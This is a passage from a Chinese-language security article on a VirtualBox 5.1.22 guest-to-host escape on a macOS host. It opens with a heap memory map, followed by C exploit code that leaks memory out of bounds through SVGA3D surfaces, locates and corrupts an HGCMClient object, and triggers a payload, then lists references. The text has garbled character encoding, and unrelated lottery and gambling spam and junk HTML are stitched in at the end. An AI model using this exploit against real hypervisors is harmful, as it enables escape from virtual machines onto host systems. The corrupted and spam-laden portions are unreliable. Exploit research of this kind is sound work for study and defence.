              MALLOC_SMALL 00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff12b400000-00007ff12b500000 [ 1024K 936K 936K 4K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff139000000-00007ff139800000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff139800000-00007ff13b000000 [ 24.0M 23.6M 23.6M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff13b400000-00007ff13b500000 [ 1024K 1016K 1016K 8K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16b400000-00007ff16b800000 [ 4096K 2464K 2464K 1632K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 6592K 6592K 1828K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16c06e000-00007ff16d000000 [ 15.6M 14.0M 14.0M 1440K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16d000000-00007ff16d800000 [ 8192K 5608K 5608K 2312K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16d800000-00007ff16da00000 [ 2048K 864K 864K 1184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 24K 24K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 940K 940K 84K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 988K 988K 36K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY 00007ff170400000-00007ff170500000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff170500000-00007ff170800000 [ 3072K 3072K 3072K 0K] rw-/rwx SM=COW DefaultMallocZone_0x10
              定位并重写HGCMClient对象
              一旦堆喷射完成,将会从SVGA3D_MAX_SURFACE_IDS – 1开始,越界读取与表面相关的泄露内存。如果?#19994;?#20219;何HGCMClient,就会停止搜索,否则将会继续。
              /*泄露内存*/
              for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) {
              access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);
              rv = find_hgcm_client(memory, 0x1000, &details);
              if (rv == 0) {
              surface_id = i;
              break;
              }
              }
              在?#19994;?#23458;户端对象后,我们通过泄露其“pSelf”指针来了解对象的位置。对象的vtable是一个指向VBoxC.dylib的指针。上述二者都不会受到ASLR机制的影响。随后,我们使?#30431;?#32034;期间?#19994;?#30340;表面ID,对其进行越界写入,从而破坏对象。
              access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);

              Finally, use HGCM disconnect to use the corrupted HGCMClient as below:

              warnx("[+] Triggering payload...");
              disconnect_client(details.key);
              环境
              · Guest环?#24120;篣buntu Server 16.04.5 64位,启用单个vCPU和VMSVGA。
              · Host环?#24120;簃acOS High Sierra 10.13.6。 请注意,macOS Mojave不支持较旧版本的VirtualBox。
              · VirtualBox:5.1.22 r115126版本
              演示视频
              参考文献
              [1] VMware托管I/O架构上的GPU虚拟化
              https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf
              [2] VMware SVGA设备接口和编程模型
              https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt
              [3] CLOUDBURST – Vmware Guest到Host逃逸的故事
              https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf
              [4] 通过硬件仿真攻击虚拟机管理程序
              https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf
              [5] VBoxManage
              https://www.virtualbox.org/manual/ch08.html
              [6] Oracle重要补丁更新公告 – 2015年1月
              https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html
              [7] Oracle重要补丁更新公告 – 2017年7月
              https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
              [8] Oracle重要补丁更新公告 – 2017年10月
              https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
              [9] Heapple Pie – macOS/iOS中的默认堆
              https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf
              [10] OS X堆漏洞利用
              https://github.com/blankwall/MacHeap
              [11] 思考在VirtualBox之外
              https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
              上一篇:CVE引发的欺骗
              下一篇:那些年让我们心惊胆战的IIS漏洞
              相关文章
              图文推荐

              关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip?#38469;?#22521;训 | 举报中心

              版权所有: 红黑联盟--致力于做实用的IT?#38469;?#23398;习网站

              极速飞艇好假
              <dl id="opymh"></dl>

              <div id="opymh"></div>
                  <div id="opymh"><tr id="opymh"></tr></div>

                    <em id="opymh"><ins id="opymh"><mark id="opymh"></mark></ins></em><sup id="opymh"><menu id="opymh"></menu></sup>

                    <em id="opymh"></em>

                    <em id="opymh"><ol id="opymh"></ol></em>

                          <dl id="opymh"></dl>

                          <div id="opymh"></div>
                              <div id="opymh"><tr id="opymh"></tr></div>

                                <em id="opymh"><ins id="opymh"><mark id="opymh"></mark></ins></em><sup id="opymh"><menu id="opymh"></menu></sup>

                                <em id="opymh"></em>

                                <em id="opymh"><ol id="opymh"></ol></em>

                                      25选5开奖中安在绒 天天彩选4开奖结果 分分彩挂机必赢方案 甘肃快三专家推荐号码今天 全年公式规律杀码 甘肃11选5推荐号 网络打码兼职能挣钱吗 11选5任3必中计算方法 北京赛pk10开奖直播结果 重庆百变王牌qq群 海南富力湾业主论坛 彩票玩法介绍大全 诈金花游戏58wcn 竞彩推荐预测 深圳风采开奖几点开